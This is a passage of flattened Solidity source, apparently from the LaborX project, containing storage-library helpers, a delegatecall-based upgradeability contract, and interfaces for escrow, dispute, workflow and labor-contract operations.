bytes32(_key2))); } function get(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4))); } function get(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5))); } function get(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)))); } function get(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)))); } function get(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)))); } /** `includes` operation */ function includes(Config storage self, Set storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, SET_IDENTIFIER, _value); } function includes(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) internal view returns (bool) { return get(self, item.indexes, _salt, _value) != 0; } function includes(Config storage self, AddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, CounterSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, ORDERED_SET_IDENTIFIER, _value); } function includes(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bool) { return _value != 0x0 && (get(self, item.nextValues, _salt, _value) != 0x0 || get(self, item.last, _salt) == _value); } function includes(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, Set storage item, bytes32 _value) internal view returns (uint) { return getIndex(self, item, SET_IDENTIFIER, _value); } function getIndex(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private view returns (uint) { return uint(get(self, item.indexes, _salt, _value)); } function getIndex(Config storage self, AddressesSet storage item, address _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, CounterSet storage item, uint _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, _value); } function getIndex(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } /** `count` operation */ function count(Config storage self, Set storage item) internal view returns (uint) { return count(self, item, SET_IDENTIFIER); } function count(Config storage self, Set storage item, bytes32 _salt) internal view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, AddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, CounterSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedSet storage item) internal view returns (uint) { return count(self, item, ORDERED_SET_IDENTIFIER); } function count(Config storage self, OrderedSet storage item, bytes32 _salt) private view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, OrderedUIntSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedAddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function get(Config storage self, Set storage item) internal view returns (bytes32[] result) { result = get(self, item, SET_IDENTIFIER); } function get(Config storage self, Set storage item, bytes32 _salt) private view returns (bytes32[] result) { uint valuesCount = count(self, item, _salt); result = new bytes32[](valuesCount); for (uint i = 0; i < valuesCount; i++) { result[i] = get(self, item, _salt, i); } } function get(Config storage self, AddressesSet storage item) internal view returns (address[]) { return toAddresses(get(self, item.innerSet)); } function get(Config storage self, CounterSet storage item) internal view returns (uint[]) { return toUInt(get(self, item.innerSet)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (bytes32[]) { return get(self, item.innerMapping, _key); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (address[]) { return toAddresses(get(self, item.innerMapping, _key)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint[]) { return toUInt(get(self, item.innerMapping, _key)); } function get(Config storage self, Set storage item, uint _index) internal view returns (bytes32) { return get(self, item, SET_IDENTIFIER, _index); } function get(Config storage self, Set storage item, bytes32 _salt, uint _index) private view returns (bytes32) { return get(self, item.values, _salt, bytes32(_index+1)); } function get(Config storage self, AddressesSet storage item, uint _index) internal view returns (address) { return address(get(self, item.innerSet, _index)); } function get(Config storage self, CounterSet storage item, uint _index) internal view returns (uint) { return uint(get(self, item.innerSet, _index)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key, uint _index) internal view returns (bytes32) { return get(self, item.innerMapping, _key, _index); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key, uint _index) internal view returns (address) { return address(get(self, item.innerMapping, _key, _index)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _index) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, _index)); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getNextValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.nextValues, _salt, _value); } function getNextValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getNextValue(self, item.innerSet, bytes32(_value))); } function getNextValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getNextValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getPreviousValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.previousValues, _salt, _value); } function getPreviousValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getPreviousValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getPreviousValue(self, item.innerSet, bytes32(_value))); } function toBool(bytes32 self) internal pure returns (bool) { return self != bytes32(0); } function toBytes32(bool self) internal pure returns (bytes32) { return bytes32(self ? 1 : 0); } function toAddresses(bytes32[] memory self) internal pure returns (address[]) { address[] memory result = new address[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = address(self[i]); } return result; } function toUInt(bytes32[] memory self) internal pure returns (uint[]) { uint[] memory result = new uint[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = uint(self[i]); } return result; } function _setOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from, bytes32 to) private { if (from != 0x0) { set(self, link, _salt, from, to); } } function _deleteOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from) private { if (from != 0x0) { set(self, link, _salt, from, 0x0); } } /** @title Structure to incapsulate and organize iteration through different kinds of collections */ struct Iterator { uint limit; uint valuesLeft; bytes32 currentValue; bytes32 anchorKey; } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, bytes32 startValue, uint limit) internal view returns (Iterator) { if (startValue == 0x0) { return listIterator(self, item, anchorKey, limit); } return createIterator(anchorKey, startValue, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey, address startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER, limit); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return createIterator(anchorKey, get(self, item.first, anchorKey), limit); } function listIterator(Config storage self, OrderedUIntSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedSet storage item) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item, anchorKey, get(self, item.count, anchorKey)); } function listIterator(Config storage self, OrderedUIntSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, OrderedAddressesSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function createIterator(bytes32 anchorKey, bytes32 startValue, uint limit) internal pure returns (Iterator) { return Iterator({ currentValue: startValue, limit: limit, valuesLeft: limit, anchorKey: anchorKey }); } function getNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { if (!canGetNextWithIterator(self, item, iterator)) { revert(); } _nextValue = iterator.currentValue; iterator.currentValue = getNextValue(self, item, iterator.anchorKey, iterator.currentValue); iterator.valuesLeft -= 1; } function getNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { return getNextWithIterator(self, item.innerMapping, iterator); } function getNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerMapping, iterator)); } function getNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerMapping, iterator)); } function canGetNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bool) { if (iterator.valuesLeft == 0 || !includes(self, item, iterator.anchorKey, iterator.currentValue)) { return false; } return true; } function canGetNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function count(Iterator iterator) internal pure returns (uint) { return iterator.valuesLeft; } } // File: @laborx/solidity-storage-contracts/contracts/StorageAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageAdapter { using StorageInterface for *; StorageInterface.Config internal store; constructor(Storage _store, bytes32 _crate) public { store.init(_store, _crate); } } // File: contracts/common/initializable/InitializableOwned.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; contract InitializableOwned is Owned { function _initOwned(address _owner) internal { require(_owner != 0x0); require(contractOwner == 0x0); contractOwner = _owner; } } // File: contracts/common/upgradeability/Delegatable.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; /// @title Delegatable /// @notice Implements delegation of calls to other contracts, with proper /// forwarding of return values and bubbling of failures. contract Delegatable { /// @dev Delegates execution to an implementation contract. /// This is a low level function that doesn't return to its internal call site. /// It will return to the external caller whatever the implementation returns. /// @param implementation Address to delegate. function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } } // File: contracts/escrow/EscrowBaseInterface.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; interface EscrowBaseInterface { function hasCurrencySupport(bytes32 _symbol) public view returns (bool); function getServiceFeeInfo() external view returns (address, uint16, uint); function setServiceFee(uint16 _feeValue) external returns (uint); function setServiceFeeAddress(address _feeReceiver) external returns (uint); /// @notice Gets balance locked on escrow. /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @return currency symbol /// @return currence balance on escrow function getBalanceOf( bytes32 _tradeRecordId, address _seller, address _buyer ) external view returns (bytes32, uint); /// @notice Creates an escrow record for provided symbol "`_symbol`" /// @dev Escrow is reusable so the same tradeRecordId could be reused after an escrow /// with the same identifier is resolved. /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _symbol symbol of payment currency /// @param _value amount to initially deposit to escrow; could be 0 /// @param _transferImmediatelyToBuyerAmount amount to transfer immediately to a buyer /// @param _feeStatus fee condition (1st bit - seller, 2nd - buyer) /// @return result code of an operation function createEscrow( bytes32 _tradeRecordId, address _seller, address _buyer, bytes32 _symbol, uint _value, uint _transferImmediatelyToBuyerAmount, uint8 _feeStatus ) external payable returns (uint); /// @notice Deposits to an escrow provided amount `_value` /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _value amount to deposit /// @param _transferImmediatelyToBuyerAmount amount to transfer immediately to a buyer /// @param _feeStatus fee condition (1st bit - seller, 2nd - buyer) /// @return result code of an operation function deposit( bytes32 _tradeRecordId, address _seller, address _buyer, uint _value, uint _transferImmediatelyToBuyerAmount, // transfers _transferImmediatelyToBuyerAmount directly to _buyer. uint8 _feeStatus ) external payable returns (uint); /// @notice Transfers `_value` from escrow to buyer `_buyer` /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @dev Seller shoud sign hash of (message, escrow address, msg.sig, _value, _expireAtBlock, _salt) data /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _value amount to withdraw from escrow /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _sellerSignature signature produced by seller /// @param _feeStatus fee condition (1st bit - seller, 2nd - buyer) /// @return result code of an operation function releaseBuyerPayment( bytes32 _tradeRecordId, address _seller, address _buyer, uint _value, uint _expireAtBlock, uint _salt, bytes _sellerSignature, uint8 _feeStatus ) external returns (uint); /// @notice Transfers `_value` from escrow to seller `_seller` /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @dev Buyer shoud sign hash of (message, escrow address, msg.sig, _value, _expireAtBlock, _salt) data /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _value amount to withdraw from escrow /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _buyerSignature signature produced by buyer /// @return result code of an operation function sendSellerPayback( bytes32 _tradeRecordId, address _seller, address _buyer, uint _value, uint _expireAtBlock, uint _salt, bytes _buyerSignature ) external returns (uint); /// @notice Transfers `_value` from escrow to seller `_seller` and buyer `_buyer` /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @dev Seller and buyer shoud sign hash of (message, escrow address, msg.sig, _sellerValue, _buyerValue, _expireAtBlock, _salt) data /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _sellerValue amount to withdraw from escrow to the seller /// @param _buyerValue amount to withdraw from escrow to the buyer /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _signatures concatenated signatures produced by seller and buyer /// @param _feeStatus fee condition (1st bit - seller, 2nd - buyer) /// @return result code of an operation function releaseNegotiatedPayment( bytes32 _tradeRecordId, address _seller, address _buyer, uint _sellerValue, uint _buyerValue, uint _expireAtBlock, uint _salt, bytes _signatures, uint8 _feeStatus ) external returns (uint); /// @notice Starts a dispute process between seller `_seller` and buyer `_buyer`. /// Could start only if an arbiter was specified. /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @dev Seller and buyer shoud sign hash of (message, escrow address, msg.sig, _expireAtBlock, _salt) data /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _signature signature of an initiator /// @return result code of an operation function initiateDispute( bytes32 _tradeRecordId, address _seller, address _buyer, uint _expireAtBlock, uint _salt, bytes _signature ) external returns (uint); /// @notice Cancels an initiated dispute process /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @dev Seller and buyer shoud sign hash of (message, escrow address, msg.sig, _expireAtBlock, _salt) data /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _signature signature of an initiator /// @return result code of an operation function cancelDispute( bytes32 _tradeRecordId, address _seller, address _buyer, uint _expireAtBlock, uint _salt, bytes _signature ) external returns (uint); /// @notice Transfers disputed value from escrow to the seller `_seller` and the buyer `_buyer` according /// to provided buyer value `_buyerValue`. The value of escrow - _buyerValue will be transferred to the seller. /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @dev Arbiter should sign hash of (message, escrow address, msg.sig, _buyerValue, _expireAtBlock) data /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _buyerValue value that will be transferred to the buyer /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _arbiterSignature signature of an arbiter /// @return result code of an operation function releaseDisputedPayment( bytes32 _tradeRecordId, address _seller, address _buyer, uint _buyerValue, uint _expireAtBlock, bytes _arbiterSignature ) external returns (uint); /// @notice Deletes escrow record when it is no more needed. /// Escrow should be empty to be deleted. /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment function deleteEscrow( bytes32 _tradeRecordId, address _seller, address _buyer ) external returns (uint); function getArbiter(bytes32 _tradeRecordId, address _seller, address _buyer) external view returns (address); /// @notice Sets a new arbiter `_arbiter`. His address should be approved by both parties. /// @dev Escrow is identified by a message = keccak256(_tradeRecordId, _seller, _buyer) /// @dev Seller and buyer shoud sign hash of (message, escrow address, msg.sig, _arbiter, _expireAtBlock, _salt) data /// @param _tradeRecordId identifier of escrow record /// @param _seller who will mainly deposit to escrow /// @param _buyer who will eventually is going to receive payment /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _bothSignatures signatures of seller and buyer function setArbiter( bytes32 _tradeRecordId, address _seller, address _buyer, address _arbiter, uint _expireAtBlock, uint _salt, bytes _bothSignatures ) external returns (uint); /// @notice Performs transfer of a currency `_symbol` /// from a `msg.sender` to service fee recepient /// @param _symbol target currency symbol /// @param _from holder address of the `_symbol` /// @param _amount amount to retransfer /// @return result code of an operation function retranslateToFeeRecipient(bytes32 _symbol, address _from, uint _amount) external payable returns (uint); } // File: contracts/workflow/WorkflowBase.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; interface WorkflowBase { /// @param _contractHost smart contract address that will be requested for payments function registerContract(bytes32 _contractId, address _contractHost) external returns (uint); function addWorkflowData( bytes32 _contractId, address _contractHost, bytes _data ) external returns (uint _budget, uint _upfront); function precalculateWorkflowData( bytes32 _contractId, address _contractHost, bytes _data ) external view returns (uint _budget, uint _upfront); /// @notice Gets upfront amount from tasks that have not been finished (completed) yet /// @param _contractId contract identifier /// @param _contractHost contract smart contract address function getUnspentUpfrontAmount(bytes32 _contractId, address _contractHost) external view returns (uint); } interface WorkflowContractBlacklistable { function isAllowedContractHost(address _contractHost) external view returns (bool); function addContractHost(address _contractHost) external returns (uint); function removeContractHost(address _contractHost) external returns (uint); } interface WorkflowCheckpointBase { /// @notice Gets numbers of how much employer will pay for a task `_taskId` in contract `_contractId` at `_contract` /// @param _contractId contract ID /// @param _contract address of a smart contract /// @param _taskId task ID to confirm to /// @param _skippedPenalties penalty IDs that will be skipped during payment calculations /// @return _totalValue how much task costs /// @return _paymentValue how much should be paid immediately /// @return _depositValue how much should be additionally deposited function getTaskCompletionReward( bytes32 _contractId, address _contract, uint32 _taskId, uint32[] _skippedPenalties ) public view returns ( uint _totalValue, uint _paymentValue, uint _depositValue, uint _paidValue ); /// @dev Gets task details. /// @return /// @return _values[0] budget amount /// @return _values[1] paid amount /// @return _values[2] upfront amount /// @return _values[3] withdraw fee amount of paid amount function getTaskDetails( bytes32 _contractId, address _contract, uint32 _taskId ) external view returns (uint[] _values); function getTaskCompletionRewardWithoutPenalties( bytes32 _contractId, address _contract, uint32 _taskId ) public view returns ( uint _totalValue, uint _paymentValue, uint _depositValue, uint _paidValue ); /// @notice Gets numbers of how much should be additionally deposited to the assignee received `_value` /// @param _contractId contract ID /// @param _contract address of a smart contract /// @param _value how much should be paid immediately /// @return _paymentValue how much should be paid immediately /// @return _depositValue how much should be additionally deposited function getTaskSinglePaymentReward( bytes32 _contractId, address _contract, uint _value ) public view returns (uint _paymentValue, uint _depositValue); function startTask(bytes32 _contractId, address _contract, uint32 _taskId) external returns (uint); function pauseTask(bytes32 _contractId, address _contract, uint32 _taskId) external returns (uint); function resumeTask(bytes32 _contractId, address _contract, uint32 _taskId) external returns (uint); /// @notice Prepaid expense to the assignee for task `_taskId` in context of contract `_contractId`. /// Assignee's penalties will not be applied to payment value. /// Employer should provide signature for releasing buyer's value from 'EscrowBaseInterface#releaseBuyerPayment' /// @param _contractId contract ID /// @param _contract address of a smart contract /// @param _taskId task ID for payment /// @param _expireAtBlock bound with signature. See 'EscrowBaseInterface#releaseBuyerPayment' /// @param _salt bound with signature. See 'EscrowBaseInterface#releaseBuyerPayment' /// @param _signature signature for releasing blocked amount. See 'EscrowBaseInterface#releaseBuyerPayment' /// @return result code of an operation function payPartialTaskExpenses( bytes32 _contractId, address _contract, uint32 _taskId, uint _value, uint _expireAtBlock, uint _salt, bytes _signature ) external payable returns (uint); /// @notice Confirms task `_taskId` completion in context of contract `_contractId` and frees /// budget to be send to the assignee. /// Assignee's penalties will not be applied to the final paycheck. /// Employer should provide signature for releasing buyer's value from 'EscrowBaseInterface#releaseBuyerPayment' /// @param _contractId contract ID /// @param _contract address of a smart contract /// @param _taskId task ID to confirm to /// @param _expireAtBlock bound with signature. See 'EscrowBaseInterface#releaseBuyerPayment' /// @param _salt bound with signature. See 'EscrowBaseInterface#releaseBuyerPayment' /// @param _signature signature for releasing blocked amount. See 'EscrowBaseInterface#releaseBuyerPayment' /// @return result code of an operation function completeTaskAndPay( bytes32 _contractId, address _contract, uint32 _taskId, uint _expireAtBlock, uint _salt, bytes _signature ) external payable returns (uint); function completeTask(bytes32 _contractId, address _contract, uint32 _taskId) external returns (uint); /// @notice Confirms task `_taskId` completion in context of contract `_contractId` and frees /// budget to be send to the assignee. /// Assignee's penalties could be skipped and they will not be applied to the final paycheck. /// Employer should provide signature for releasing buyer's value from 'EscrowBaseInterface#releaseBuyerPayment' /// @param _contractId contract ID /// @param _contract address of a smart contract /// @param _taskId task ID to confirm to /// @param _skippedPenalties penalty IDs that will be skipped during payment calculations /// @param _expireAtBlock bound with signature. See 'EscrowBaseInterface#releaseBuyerPayment' /// @param _salt bound with signature. See 'EscrowBaseInterface#releaseBuyerPayment' /// @param _signature signature for releasing blocked amount. See 'EscrowBaseInterface#releaseBuyerPayment' /// @return result code of an operation function confirmTaskCompletion( bytes32 _contractId, address _contract, uint32 _taskId, uint32[] _skippedPenalties, uint _expireAtBlock, uint _salt, bytes _signature ) external payable returns (uint); function declineTaskAndSendToRework( bytes32 _contractId, address _contract, uint32 _taskId, string _reason ) external returns (uint); } // File: contracts/labor-contract/LaborContractBase.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; interface LaborContractBaseInitializable { function initLaborContract( address _owner, address _storage, bytes32 _crate ) external; function setExtensionContracts( address _signable, address _terminatable, address _disputable, address _completable, address _tasksProposable ) external; } interface LaborContractBaseGeneralizable { function getPaymentRequirements(bytes32 _contractId) external view returns (bool _lockFullBudget, uint8 _paymentTimeline); function getContractParties(bytes32 _contractId) external view returns (address _employer, address _assignee); function 